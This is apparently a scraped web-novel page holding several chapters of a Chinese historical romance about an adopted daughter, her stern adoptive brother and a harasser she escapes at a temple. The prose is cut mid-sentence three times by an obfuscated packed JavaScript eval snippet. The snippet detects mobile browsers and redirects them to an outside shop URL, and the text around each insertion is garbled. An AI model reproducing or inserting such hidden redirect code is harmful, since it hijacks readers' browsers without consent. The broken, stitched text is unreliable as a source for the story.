崔琢看了她片刻,重新搁下笔,微微向后靠在椅背上,姿态较之方才透出不经意的松散,眼帘下压。 反观李亭鸢浑身紧绷,攥在身侧的指节发白,如同被猎人盯上的猎物。 两人的视线在半空中碰撞。 良久,崔琢率先移开了视线。 “李亭鸢——” 他的语气漫不经心,将手边的白玉扳指拿起来重新戴上,缓缓起身绕过桌案。 男人高大的身躯越逼越近,他的视线仿佛是一张网,紧锁着她。 松香混合着微微滚烫的男子气息倾轧而来。 李亭鸢攥紧了拳,下意识后退了半步,吞咽道: “兄……” 长字还未出口,崔琢垂眸睨了她一眼,喉咙里溢出一丝若有似无的轻笑。 还不待她反应过来,他已经绕开她,走到她身后的书架前,取下一本账册,声音恢复了先前的冷静: “在你算清这本书册中的账目前,尚且不可唤我兄长。” 他将书册递过来。 “当然,倘若你算得不出差错,我亦可答应你一个条件。” 李亭鸢脸上的热意还未彻底退下,胸腔里的心脏也在鼓跳不停。 答应她一个条件吗? 闻言,她的视线怔怔落在那本账册上。 男人捻着账册的手指冷白修长,白玉雕出遒劲的筋骨,手背隐隐蜿蜒着几道只有成年男性才有的青筋。 那双骨节分明的手沉稳有力,不知有多少事关天下百姓的大事,从这双手下流过。 崔琢拇指上带着一枚白玉扳指,玉质清润温和,上面的松鹤纹路雕琢的栩栩如生。 李亭鸢的视线如被烫到了一般匆匆移开,脸颊重新烧了起来。 三年前的那个夜里,她便讨教过这枚扳指冰凉的温度和凹凸分明的纹路,那上面沾过太多东西。 她轻轻吞咽了一下,赶走脑海里不合时宜的念头,抬手去接账册。 也不知是对方故意还是什么,李亭鸢从他的手中抽了几次也没抽走,两人的手指又挨得极近,像是对峙。 她抬头看他,目露疑惑。 对上目光的一瞬间,崔琢才将手松开,可看着她的眼神却讳莫如深,透着不清不楚的意味。 李亭鸢心里一紧。 有那么一瞬间,她瞧着他的神色,差点儿以为那枚扳指是他方才故意戴给她看的。 李亭鸢呼出一口气,佯装淡然,平静地问他: “什么条件都可以么?” 她的身后便是书架,两人离得极近,呼吸几乎交错在一起。 崔琢身量高大,李亭鸢才刚及他胸口。 从崔琢的角度向下看去,少女脸颊晕开薄粉,春雨海棠一般娇艳,巴掌大的小脸上杏眸大睁略带期许。 她自己许是都不知道,自己纤长的眼睫上还坠着些许我见犹怜的细碎泪珠。 崔琢眸光骤然一黯,向后退开些许。 “嗯。” 他将手背回身后,指腹轻轻摩挲,喉结滚动: “什么条件都可。” 男人一退开,方才那股骇人的压迫感也跟着消散。 李亭鸢这才重新冷静下来。 她收了册子,垂下眼眸,在心底默默盘算着想要的条件。 崔琢视线向下,不动声色划过她唇畔微微弯起的弧度。 - 李亭鸢回去后,怔怔坐在桌前平复了会儿情绪,便开始迫不及待翻阅起崔琢给自己的账册。 这是崔家在郊外的一处田庄的账目,记录的恰好是去年一整年整个庄子上的营收和支出。 不过好在崔琢交给她的这个庄子只是崔家产业中最小的一个,且这个庄子管理得当,账目还算清晰。 李亭鸢翻看了半天,心里大致也有了底。 才打算将几处打眼看去有些问题的地方标记出来,她四周巡视了一圈才发现……自己的房间里好像没有准备笔墨纸砚。 想也是,她一个女子,千里迢迢赶来投奔,崔母必然是想着如何给她安置饮食起居,哪里会先顾及到这些。 崔月瑶就更不用想了。 她正犹豫着要不要去找崔琢要一套笔墨纸砚的时候,门外忽然传来一阵欢快的脚步声。 崔月瑶人还未到,声音倒先传了进来。 “沅姝!快看我给你带什么来了!” 李亭鸢下意识将手边的账册收进了抽屉,这才起身迎了出去。 只见崔月瑶提着一个大大的箱子正哼哧哼哧地走进来,她身后的婢女两个婢女一个抱着一摞厚厚的被褥,另一个也同她一样提了个更大的箱子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153393|196470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李亭鸢走下台阶接过崔月瑶手里的木箱,不解道: “你这带的都是什么呀?” 崔月瑶甩了甩手,“有水吗?渴死我了!” 李亭鸢将箱子放在桌上,倒了杯水给她。 崔月瑶一口气喝完,缓了几息,拍着箱子道: “想着你要回来,前几日刚定的玲珑斋的胭脂和金玉阁的朱钗首饰!还有这套被褥、这套被褥用的是苏州特制的云锦纱,绵软贴肤,母亲特意命人为你准备的!” 木箱一揭开,李亭鸢果然见里面整整齐齐排放着各色胭脂和首饰,且看着就是时兴而价格不菲的样式。 她心里一暖,拉住崔月瑶的手,柔柔道: “你又破费了,崔府愿意收留我已是心存感激……” “说什么收留呢!” 崔月瑶瞪她,“以后你就是我的亲姐姐!再跟我客气我可不依!” 李亭鸢抿唇轻笑,“多谢你。” “对了小姐,这些放哪里?” 崔月瑶身旁的小丫鬟捧着一个锦盒走上前来。 方才李亭鸢便注意到了这个锦盒,只因为这个盒子更素雅,同崔月瑶带来的那些珠光宝气的木箱都大为不同。 她瞧见上面摆了一套笔和墨条,旁边的砚台底下还压了一摞纸。 “这是……” “哦,这个啊……” 崔月瑶不以为意道: “方才我来的路上碰到张伯,张伯说哥哥命他开库房,给各房发放新的文房四宝,这不,这一份恰好要给你送来,我就顺路带过来了。” 崔月瑶对笔墨纸砚不感兴趣,说完便拉着李亭鸢去瞧新买的胭脂了。 李亭鸢回头,视线扫过那一套纸笔,心弦像是被谁不经意间拨了一下一般。 “对了,说起我哥,他今早有没有难为你?” 李亭鸢被崔月瑶拉着坐下,闻言忽然想起两人在书架前那一幕,心里没由来的一阵心虚。 崔月瑶见她不答,以为她又被为难了,忙道: “你别往心里去,哥哥他对谁都那样,严厉得很!我小时候背不出书若是被他知道,他罚我抄十遍都是轻的!哥哥他定是看重你,才对你要求严格的。” 李亭鸢心里苦笑。 他对妹妹是“恨铁不成钢”,而对她,只是单纯的“不喜”。 不过这些同崔月瑶毫无关系,她也不想让她徒增烦恼。 过了片刻,李亭鸢忽而想起什么般问道: “对了,你今早说你哥哥他还未成婚?” “哦!差点儿忘了!” 崔月瑶一拍脑袋: “那陆承宵是哥哥好友的孩子,陆哥哥的妻子两年半前生承宵的时候难产而亡,陆哥哥受不了妻子离世,在半年后将承宵托付给哥哥后,也追随妻子而去。” 崔月瑶抠着手指,叹息,“怎么会有这么傻的人啊,留下个半岁的孩子,哎……” 崔月瑶口中的“陆哥哥”李亭鸢从前也见过几次,是一个十分开朗的人,那个陆哥哥的妻子也很阳光,两人是从小的青梅竹马。 却不想原来那个孩子是他们二人的。 李亭鸢想起记忆中鲜活的那两人,不免唏嘘,也跟着叹了口气。 “不过我想不通,哥哥为什么会看上那个柳梦鸢。” 崔月瑶靠在李亭鸢肩上,手中绞着她一缕头发自言自语: “听我娘说,似乎是之前瞧见哥哥房中收着一条绣了‘鸢’字的手帕,也不知是那柳梦鸢什么时候送的,哥哥从前可从未收过哪个女人的东西……” 那边崔月瑶还在耳畔絮絮叨叨说个不停,李亭鸢的脸色却忽然间变得煞白。 她浑身如猛地坠入冰窟一般,一股寒意自脊背后面迅速窜了起来。 ——三年前那夜之后,她确实丢过一条帕子。 5. 第 5 章 后面崔月瑶再说了什么,李亭鸢几乎都未听进去。 到了夜里,她心烦意乱地躺在床上,回忆着今日在松月居时崔琢的每一个眼神,越想越不确定他是否记得三年前那件事。 想了大半夜,直到实在困得不行,李亭鸢才迷迷糊糊睡了过去。 第二日醒来的时候,天光已经大亮。 不过好在今日不用早起请安。 早在昨日给崔母请安的时候,李亭鸢就同崔母说好,今日会去京郊的白马寺为自己的父母供奉海灯。 她洗漱过后先去了慈心堂同崔母请示出府一事。 崔母上下打量了一番她的装扮,对她得体的容止十分满意,颔首道: “马车张晟早上已经备好,当真不需要瑶丫头陪你?” 李亭鸢温顺地上前,任她将自己的鬓发理到耳后,回道: “不用了,月瑶今日还有课业,我就不麻烦她了。” “说什么麻烦不麻烦。” 崔母拍了拍她的肩: “去吧,早去早回。” 辞别了崔母,李亭鸢径直出府坐上马车往郊外的白马寺行去。 弟弟李怀山所在的明德书院今日有场考试,她只能自己先去白马寺,待到日后等弟弟休沐再带他一道前去。 马车行了约莫一个时辰,来到了山脚下。 今日上山的香客不算很多,时辰又尚早,李亭鸢便让车夫将马车停在山脚下,打算自己慢慢走上去。 李亭鸢上次来白马寺,还是四年前同母亲一起来。 那时候是盛夏时节,阳光炽热,她同母亲走得满身是汗,弟弟却好像不知疲倦一般兴奋得跑来跑去。 等爬到寺庙的时候,三个人脸颊都热得红红的,看着彼此狼狈的样子哈哈大笑。 然而这一次来,却是乍暖还寒的时候,山上的风彻骨得凉,她身边却空无一人。 李亭鸢瞧着路边刚抽芽的小草孤零零被风吹得东倒西歪,忍不住悄悄抹了抹眼睛。 到了白马寺,也不知是寺中来了贵客还是什么,连一个小沙弥也没见到。 李亭鸢自己循着从前的记忆,打算先去大殿里看看。 从门口去到大殿的半路上有一个花园,她刚走进去,便察觉身后似有人在鬼鬼祟祟地跟着。 她故意坐下来休息,一回头,那人又不见了踪影。 李亭鸢瞧了瞧空荡荡的四周,心里直打鼓,忍不住起身加快了步伐。 然而就在快要走出花园,已经看到不远处大殿轮廓的时候,身后忽然传来一阵急促的脚步声,紧接着李亭鸢就感觉手腕被人猛地攥住,一个男人的声音在身后响起。 “果然是你!” 李亭鸢回头,见那男人不是旁人,正是户部郎中郭岳的次子郭樊。 此人从前便一直纠缠李亭鸢。 按说李亭鸢父亲与郭樊父亲同为五品官员,郭樊应当没这个胆子。 但郭樊的祖父却是从二品参政。 这郭樊仗着自己祖父身居高位,没少作奸犯科,内宅中的女子不少都是他抢来的,唯独李亭鸢让他求而不得。 从前李亭鸢父亲在世他还能收敛些,此次见到她落单一人,心里那股子痒意便又冒了出来。 “我就说方才看着像你的身影,李亭鸢,你倒是躲了三年,如今还不是让我逮着了!有本事你就一辈子别回来!” 李亭鸢看到他那副嘴脸心里就直犯恶心,拼命甩手想从他手底下挣脱。 “你放开我!佛门净地,郭樊你怎敢放肆!” “敢不敢也已经放肆了!” 郭樊一把将她拉过来,掐着她的脸蛋,眼底里满是贪婪: “想不到三年未见你竟越发娇艳迷人了……” 他往四周看了看,似是察觉到大殿那边来了人,眉毛一皱,拉着李亭鸢就往花园深处走去: “你如今孤身一人,不如跟了哥哥我,我许你个姨娘之位,你也……啊!李亭鸢!” 李亭鸢也看见了方才大殿那边那群人。 不等郭樊将话说完,她猛地低头一口狠狠咬在了他的手上,挣脱了他转身就跑。 身后的脚步声紧逼,李亭鸢呼吸一紧,不要命般朝大殿那群人疯狂跑去。 然而才刚跑出花园,她的脚步忽然一顿。 ——大殿那边被一群人簇拥在中间的那个男人,不是崔琢又是谁? 她这么一犹豫,身后的脚步声再度逼近。 李亭鸢往后望了一眼,一跺脚,再度提起裙摆往那群人跟前跑。 眼瞅着离崔琢近了,李亭鸢刚要出声唤他,忽然不知从哪儿窜出来两个沙弥横臂拦住了她。 “施主请留步。” 那边郭樊见那两个沙弥出现,并未上前,反而往后退了几步,装作若无其事在赏风景,只眼神偷偷往这边打量。 郭樊不走,李亭鸢心下着急,跺脚对那沙弥急切道: “还请师父准我过去,里面之人是我……是我……” 说到这里李亭鸢却犹豫了。 昨日在松月居,崔琢那番话的意思再明显不过——倘若她能算清楚那账册里的账目,向他证明自己有价值,他才会承认她崔家义女的身份。 如今她拿什么身份去求他庇护,而他定然也不会当着旁人的面承认她的。 眼看着崔琢越走越远,李亭鸢急得眼圈有些红,一连声求那沙弥放她过去。 那两个沙弥纹丝不动地拦在她身前,摇了摇头: “施主莫要执着了,今日来的都是贵客中的贵客,这里早已戒严,若是贸然放姑娘过去,冲撞了贵人我二人也担待不起。” “可我……” “施主请去别处吧。” 两个沙弥说完,而后面无表情地双手合十,低头不语。 看那样子,李亭鸢料定这两个沙弥定然也是知道郭樊的劣迹的,他们并不打算管这些事。 李亭鸢心一横,扯开嗓子高声唤道: “兄长救命!崔……唔唔!” 她的话还未喊完,那两个沙弥一左一右将她架住捂住了嘴。 李亭鸢呜咽挣扎着,眼睁睁看着那边崔琢在一群人众星捧月地簇拥中进了大殿。 宏伟的殿门在他身后轰隆隆关了起来。 而他最后留给她的,只有一个从始至终不曾回头的冷漠背影。 李亭鸢又怕又委屈,眼泪堆积在眼眶里要落不落。 她挣脱沙弥,看了眼身后追过来的郭樊,来不及让自己难过,转头就跑。 这处大殿本就隐蔽,除了花园也就剩一条逼仄的夹道可以通往前殿人多的地方。 李亭鸢想着,只要尽快冲到前殿,她就安全了。 可她到底忽略了男人的体力。 即便郭樊落后她许多,也终于在快到夹道的时候再度拦住了她。 “还想往哪儿跑?” 郭樊钳着她将她抵在夹道高大的红墙下,笑容里满是稳操胜券的轻浮: “还在白费力气,从我手下跑走一次,我还能叫你再跑走第二次不成?” 李亭鸢如同走投无路的猎物,只能气喘吁吁地瞪他: “郭樊,我劝你放了我,否则有你后悔的时候。” 郭樊瞧着她被吓得煞白的小脸上强装出来的凶狠,心底越发抓心挠肝般痒得慌。 其实他从前对李亭鸢是有些爱慕的,也曾好心好意腆着脸去追求她,奈何李亭鸢总是不领他的情,后来还干脆一跑就是三年,如今他也没了耐心。 “后不后悔,先吃到嘴里再说!” 郭樊眼神发红,将人往怀里一带,拉着她就往不远处的一处荒废的房间里走。 “从前你爹护着你,如今我看谁还能护着你……” “哟!小郭大人!” 郭樊话刚说完,一个着红色官袍的中年男人走了过来,阻了两人的路。 那男人低头瞧了眼郭樊拉着李亭鸢的手,笑道: “小郭大人这是又寻到红颜知己了?恭喜恭喜……” 李亭鸢脸色涨红,抽了几次都未能将自己的手从他手中抽出来。 那郭樊显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153394|196470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有些惧怕眼前之人的,闻言规矩了不少,回道: “不知薛叔叔怎会来此?” “自然是来祭拜。” 薛方禹转头看向李亭鸢,语气温和了不少,“这位是……从前李大人家的姑娘吧?” 薛方禹话刚说完,郭樊立刻规矩地松了手。 李亭鸢顺势离郭樊远了些,抬手悄悄抹去眼泪,勉强笑了笑,行了个礼: “薛大人与我父亲是故旧?” “正是——” 薛方禹笑道,“我这里恰好有你父亲生前的一些东西需要交还,不知姑娘可愿随我前来?” 李亭鸢瞧着他脸上慈爱的笑意,忽然明白过来,当即点了点头: “如此,便麻烦薛大人了。” 薛方禹又回头去看郭樊。 郭樊原本还不想放人。 奈何就连自己的祖父都要给这位姓薛的几分薄面,他即便心底再恨也不敢造次,黑着一张脸点了点头: “我本也是与李姑娘偶遇,想要叙叙旧,既然薛叔叔找她有事,请便就是。” 薛方禹也不客气,看了李亭鸢一眼,“姑娘随我来。” 李亭鸢跟着薛方禹走到一处相对人少的地方。 见自己彻底安全了,她对他行了一礼,真诚道: “多谢薛大人相救之恩。” 薛方禹见她通透,不由也笑,摆了摆手: “不必言谢,我也是受人之托罢了。” 受人之托? 李亭鸢一时没想到他是受谁之托,不过方才他挥手的动作倒叫她想起一人。 “大人可是薛清鸿薛大儒的家人?” 薛方禹一愣,笑道: “薛清鸿正是在下兄长,姑娘找他有事?” 弟弟李怀山便是想拜在薛清鸿大儒门下。 李亭鸢张了张嘴,转念一想又觉得今日人家已然救了自己一回,再开口难免冒犯,便摇了摇头。 “没什么,小女只是随口一问。” “既然如此,姑娘请便吧——” 薛方禹指了指花园边上的一条小径,“这里我已经派人清理过,姑娘走这边就是。” 李亭鸢略有疑惑,但念在薛清鸿大儒的名声上,还是选择相信他。 她向薛方禹行礼道谢,往那条荒芜的小路上看了眼,提裙走了进去。 这条路比之方才那个花园深处要开阔许多。 山上冷,雪未消完,薄雪覆盖下偶尔有一两株还未彻底凋谢的寒梅点缀其中,再往一旁,能听到假山上雪化时的流水声。 若是有闲情雅致去瞧,景色倒是别有一番风味。 不过李亭鸢没什么心情。 她匆匆绕过假山,甫一抬头,竟然未曾想到,在梅花掩映下的八角亭中静立着一道长身玉立的身影。 男人眉眼深邃,正静静注视着她,神色冷凝。 李亭鸢脚步一顿,视线亦直挺挺落在他的身上。 崔琢今日穿的还是那日她初到崔府时穿的紫色官服,腰带收束得一丝不苟,仪态端方,面容在一堆红梅薄雪中显得冷白而清隽。 仿佛只要往那里一站,毋需要旁人过多介绍,男人身上那股上位者的威仪与气定神闲,便让人自惭形秽。 李亭鸢停在距离他很远的地方,抬头瞪着他,鼻尖的酸涩又忍不住往上涌。 方才看到他的背影毫不犹豫地消失时,她心急于躲避郭樊,还没那么多想法。 但此刻再见到他,见到他这般气定神闲如赏景一般在林中等着自己,李亭鸢心里那股埋怨与委屈便如喷薄的泉涌一般止都止不住。 她看了他两眼,没有过去行礼也没有说话,也不知哪儿来的胆子,二话不说调头就往另一边走去。 “去哪儿?” 崔琢开了口,语气淡得听不出情绪。 李亭鸢没理他,转而加快了步伐。 身后同一时间也传来了脚步声。 走出去没两步,一只冰凉的手陡然覆在了李亭鸢的手腕上。 “躲什么?!” 6. 第 6 章 李亭鸢吓得一哆嗦,下意识甩开了他的手。 崔琢轻咳一声,将手背在身后。 “车夫呢?” 崔府的车夫一般都会功夫,出门时也能保护女眷安全。 “世子日理万机,受众人敬仰,还有心思顾及我身旁的车夫去了哪儿?” 崔琢蹙了蹙眉。 李亭鸢明知自己没资格同他置气,但就是心里憋屈得慌,也顾不得想那崔月瑶说的帕子之事,红着眼眶质问他: “方才闹出那么大的动静,世子当真一点儿没听到我唤你么?还是世子嫌我辱没了你光风霁月的身份,不肯出面帮我……” 一想到郭樊刚才那些过分的举动,李亭鸢眼底的泪就兜不住了。 但她又不想在他面前示弱,背过身去悄悄抹了抹眼睛。 身后的男人沉默了片刻: “你怎知我没帮你?” 李亭鸢一愣,放下搭在眼角的手,转身看向崔琢,眨了眨眼,忽而明白了过来。 是崔琢叫薛方禹去替自己解的围。 李亭鸢看着男人略带不悦的神情,心里一时说不出是什么滋味,撇了撇嘴,没说话。 见她不语,崔琢扫了她一眼。 “现下寺庙清理干净了。” 他慢声道: “不会再有你的那些故人。” 李亭鸢知道他定是瞧见方才郭樊对她的拉扯,不禁脸一红,暗暗抿了抿唇,垂首行礼: “多谢世子。” 崔琢颔首,唤了崔吉安来,“把披风披上。” 他的语气不容置疑。 李亭鸢瞧了眼那素白色的女子披风,心里划过一抹怪异,伸手从崔吉安手里接了过来。 正打算往身上披,就听崔琢又道: “我记得我同你说过,出门时衣裳需穿得体。” “……” 李亭鸢握再披风上的手一紧,默不作声地披好,一句话不说头也不回地转身离开了。 这次李亭鸢的事情办得异常顺利,住持亲自接待了她。 等到将海灯供奉好,又添了香油钱从寺庙里出来后,她这才发现,等在寺庙门口的早已不是早上来时那辆马车。 眼前的马车以黑楠木为车身,造型更为简洁大方,车身宽敞,雕梁画栋,处处透着精致与讲究。 而马车旁,崔吉安正笑笑地朝她这边看过来。 李亭鸢脚步微滞。 她还以为崔琢早已经走了呢,他是专门在这里等她么? 李亭鸢慢吞吞走上前去,站在车门外悄悄揪了揪袖口。 她很想说自己坐今早来时的马车就行。 可话都到了嘴边,李亭鸢又想,人家都在等着她了,若是现下拒绝,又未免显得自己太过矫情。 李亭鸢在马车前犹豫了片刻,缓缓抬脚。 岂料当她的脚才刚踩上车凳的第一级台阶,崔吉安却面露难色地拦住了她。 “姑娘……” 崔吉安挠了挠头,“姑娘还是等您自己的马车吧。” 他用眼神示意了一下李亭鸢身后,压低了声音,“世子的马车,从来不坐别的女子。” “?” 他不是在这等她的么? 李亭鸢顺着崔吉安的视线往身后看去。 紫袍威仪的崔琢正面无表情地站在寺门口,此刻正半压着眼帘瞧她,也不知在那里站了多久。 虽没言语,但她还是从他紧绷的唇线中察觉出了不悦。 在他身后,跟着四名随行官员和一众沙弥,方才见到的薛方禹和住持也在其列。 一行人显然也看到了她。 除了薛方禹以外,另外两人面面相觑,又都向她投来探究的目光。 那四人中的另一人年纪较轻,未着官袍,一身青色衣衫显得他满是书卷气。 在旁人都朝她探究地看过来的时候,他噙着笑对她微微点头致意。 崔琢的眼神黯了几分。 李亭鸢神色一僵,尴尬地把踩在车凳上的脚收了回来,心道原是自己会错了意。 对面的崔琢收回视线,侧身对住持颔首,语气平和: “今日多有叨扰。” 住持双手合十,“大人言重,大人与佛法甚有缘分,能来白马寺是我等之幸。” 崔琢略一颔首,朝马车走来。 男人的五官本就冷硬,身上的紫色官袍越发衬得他威严冷肃。 “世……” 崔琢的脚步停在她身前不远不近的距离,视线带着一种重量,缓慢地朝她压下来。 眼底带着淡漠的冷意。 李亭鸢被他看得嗓音一哽,下意识往后退了一步,将车凳前面的位置让了出来。 黑色皂靴没有一丝犹豫地踩上凳子,崔琢掀帘钻进马车里。 男人没说一个字,仿佛根本对于她不屑一顾。 落下的车帘掀起一阵松木香的冷风,吹乱了她的鬓发。 李亭鸢咬着唇,默不作声将鬓发理好,被那几人盯着看得脸颊微微发烫。 她宁愿崔琢说句什么,哪怕斥她不合规矩也罢。 但他当着众人的面彻头彻尾忽视,将她晾在这里,对她来说比训斥还要令她感到被羞辱。 李亭鸢瞥了眼那落下来的车帘,不难想象出车帘后面男人那张不近人情的脸。 她在心里自嘲般轻笑了一声,正欲转身离开寻找自己的马车,忽听车内传来一道冷冷的声音: “上来。” 李亭鸢的手猛地一攥。 窘迫之下又多了几丝隐隐的怒意。 崔琢似乎总是那般高高在上,总是那般带着施舍与命令。 就连这句“上来”,都带着不容人反驳的强势。 可她做错了什么要令他这般吆来喝去。 仅仅是以一个“不合适的身份”与门第,玷污了崔府的百年清誉?便要让他这般一而再再而三的羞辱! 李亭鸢想笑。 她何德何能。 她并未上前,反而攥紧了拳回道: “崔大人身份尊贵,我不过是一介民女,怎敢与大人同车。” 轻柔的语调,听着不像是在置气,可偏偏说出的话任谁都能听出是一颗软钉子。 寺庙门外那几个原本都已各自散去的人,闻言再次错愕地朝她看过来。 倒是方才那白衣男子,往她这边看了一眼,温和道: “姑娘是民女,宋某亦是草民,姑娘若是不介意,我可载姑娘一……” 话还没说完,崔琢的马车里传来“当”的一声。 不高不低的声音原本没那么明显,四周却霎那间陷入了寂静。 须臾,白衣男子身后的官员抹了把汗,对白衣男子的小仆使了个眼色,两人一左一右架起他,连推带搡将人往后面的马车拉去。 其余人见状如梦初醒,跟着匆匆四散开来。 薛方禹在对她点头示意后,也朝自己马车走过去。 未出片刻,偌大的寺门外很快便只剩下了崔府这一辆马车。 寒风一吹,车檐下刻着“崔”字的紫檀木牌随风晃动。 现下京中马车流行在车檐下挂上印有自家姓氏的金铃或是玉铃,所到之处皆能听到悦耳的铃声,是为身份的象征。 然而崔琢的马车上,却还挂的是木质的姓氏牌。 四周沉默了下来。 良久,崔琢再次开了口: “你若想走回崔府,并无不可,只是我要提醒你,崔府亥时下钥。” 他的语气很平静。 李亭鸢知道他只是在陈述事实,但还是忍不住去揣摩他话里的意思。 崔府规矩森严,旁人若是触犯了规矩,无非惩罚了事,可她初来崔府便违反府规的话,今后这句“义兄”怕是也没资格叫了。 李亭鸢抬眸扫了眼木牌上鎏金的“崔”字。 明晃晃的日光下那个字遒劲有力,每一笔都棱角锋利,一板一眼写着崔家严苛的规矩与高不可攀的门第。 李亭鸢心里忽然生出一种自暴自弃的悲哀。 她喉咙发紧,轻声道: “我今日并非故意要上世子的马车,从始至终也绝无攀附之意,此次回京若非走投无路,我也不会在崔府做个碍眼的‘义女’……” 说到这里,她扯了扯唇角,无力地笑了一下。 马车里的人沉默不语。 李亭鸢低头深吸一口气,压住自己语调里因为委屈而生出的颤音: “我知世子厌恶于我,亦看不上我李家小门小户,世子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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恰好他也正朝她看来,视线不明地落在她通红的眼尾。 李亭鸢不自在地别开视线,寻了个离他最远的位置坐着。 崔琢看了眼她,没说话,命令崔吉安赶车,随后两人都沉默下来。 虽然李亭鸢已经尽力远离他,但男人的气息在封闭的空间里还是越来越明显。 哪怕只是他的呼吸声,都如惊雷般落在李亭鸢的耳畔。 她甚至不用回头,余光也能瞥见崔琢放在膝上的骨廓分明的手,和他手背上蜿蜒的淡淡的青色纹路。 崔琢手上还戴着那枚扳指,温润的白玉在炭火的照耀下映出暖色的光,纹路清晰。 李亭鸢忽然又想起了那方帕子。 马车里的炭火似乎烧得太旺了。 李亭鸢低头盯着自己的掌心,随着车内温度的攀升而越发坐立不安起来。 不过好在崔琢的马车又快又平稳,没一会儿就下山进了城。 马车外市井的气息逐渐喧闹起来,车里凝滞的气氛这才跟着缓和下来。 “用膳了么?” 李亭鸢一愣,诧异地抬头看他。 崔琢看过来的神情平静淡然,没有一丝旁的情绪。 见她不答,崔琢敲了下马车,对崔吉安道: “去打包一份御仙楼的芙蓉糕。” 崔吉安应了声,便将马车停到了一旁人迹偏僻的地方,一溜烟地跑远了。 四周再度回归寂静,方才那种紧张感也重新袭来。 崔琢看她: “今日从郭樊到宋聿词,你可知道你的问题在哪儿?” 李亭鸢有些茫然,摇了摇头,语气倒是比方才好了些,“不知道。” 崔琢手指“哒”的落在桌上,讳莫如深的目光先是盯着她的眼睛看了会儿,而后缓缓顺着她的双眸向下,落到了她的唇上。 李亭鸢不自在地抿了抿唇。 崔琢目光深凝,喉结滚动: “明日起,别再涂这个颜色的唇脂了。” 李亭鸢倏地抬眸看向崔琢,心脏像是被突然牵了一下,狂跳不止。 7. 第 7 章 尽管不知他这句话所谓何意,但未免过于暧昧。 偏偏男人的神色清冷,端坐在对面有种霜襟雪骨的高洁和淡然,好似他说的只是一句再平常不过的话。 只有她一人为此兵荒马乱。 李亭鸢敛眸吞咽了一下,轻声解释: “这唇脂是昨日月瑶送给我的,我并不知有何不妥之处。” “崔家恪守礼教,崔家女亦当林下风致,不宜妆容过于浓艳。” 崔琢的语气平静。 若是这番话从旁人的嘴里说出来,李亭鸢会觉得太过说教。 但许是崔琢长期居于高位,又是崔家说一不二的掌家人,这些话从他的口中说出来,不知为何就有种不可撼动和令人信服的权威。 她抿了抿唇,忽然觉得唇上火辣辣的。 “我知道了。” 崔琢“嗯”了声,“锦绣坊是我名下私产,改日你去那里重新挑些喜欢的胭脂水粉。” 李亭鸢放在膝上的手微不可察地蜷了下,忍着抬头看他的冲动,应了声是。 未几,崔吉安将芙蓉糕买来。 李亭鸢捻了块儿糕点,趁着吃糕点的功夫偷偷往崔琢面上瞧去。 却见他微微后仰,阖着眸靠在马车上,俨然已经是闭目养神的样子。 从李亭鸢的角度看去,男人的侧脸轮廓分明,鼻梁高挺眼窝深邃,因着向后靠的原因喉结越发嶙峋凸显。 李亭鸢的视线从他的喉结上扫过,匆匆收回视线。 然而下一瞬,她咀嚼芙蓉糕的动作一僵,不可置信地再度抬头确认。 ——在崔琢冷白色的皮肤上,一道极为细小的牙印样子的疤痕,很私密地藏在崔琢喉结下方的位置。 此前自己离他远,也不敢正视他,崔琢的衣襟又总是一丝不苟地扣到喉结下方的位置,是以自己从未发现。 李亭鸢记得那是三年前那夜,自己受不住时攀着他咬上去的…… 当时她的口中便有了腥甜的味道。 如今三年过去,那疤竟是还未下去么? 正六神无主地盯着那疤痕瞧,面前男人的喉结忽然向下滚了一下。 李亭鸢如惊弓之鸟般急忙收回视线,心脏突突直跳。 下一瞬,崔琢缓缓睁开眼,目光落在她身上,眸底情绪幽深难测: “看什么?” “……” 李亭鸢一个哆嗦,手中的糕点都差点儿掉了下去。 “没、没什么……” 崔琢视线淡淡掠过她: “芙蓉糕不好克化,饮食需节制。” 李亭鸢用力将口中那口芙蓉糕咽了下去,低下头避开他的视线,心虚地点了点头。 其实李亭鸢很想问问关于崔琢那个手帕的事情,但直到马车回了府,她也没勇气问出口。 两人刚一回到府中,管家张晟便火急火燎地赶了过来。 “主子。” 张晟看了李亭鸢一眼。 李亭鸢自觉道: “今日多谢世子载我回府,亭鸢先告退了。” 崔琢颔首。 眼瞅着李亭鸢身影走远了,张晟凑过来,压低声音道: “主子,是漕运出事了,二爷他们已在议事厅等候多时。” 崔琢微不可察地蹙了下眉,淡淡道: “去将我书房架子上那本账册取来。” 崔府的议事厅设在祠堂旁边,厅中熏香缭绕,却压不住空气里的焦躁。 绕过照壁隐约可见厅内聚满了人,主位空悬,众人都如同无头苍蝇一般。 下首几位长老和各房主事面红耳赤,争吵声几乎要掀翻屋顶。 二房的崔仁贺是崔琢的二叔,也是崔家的嫡系,在这群人中最有话语权。 他将手中的茶杯一搁,起身道: “此事不可再拖延!必须立刻派人去打通关节!花多少钱都行!” 一旁几人点头附和。 “不可!” 一须发皆白的长老起身: 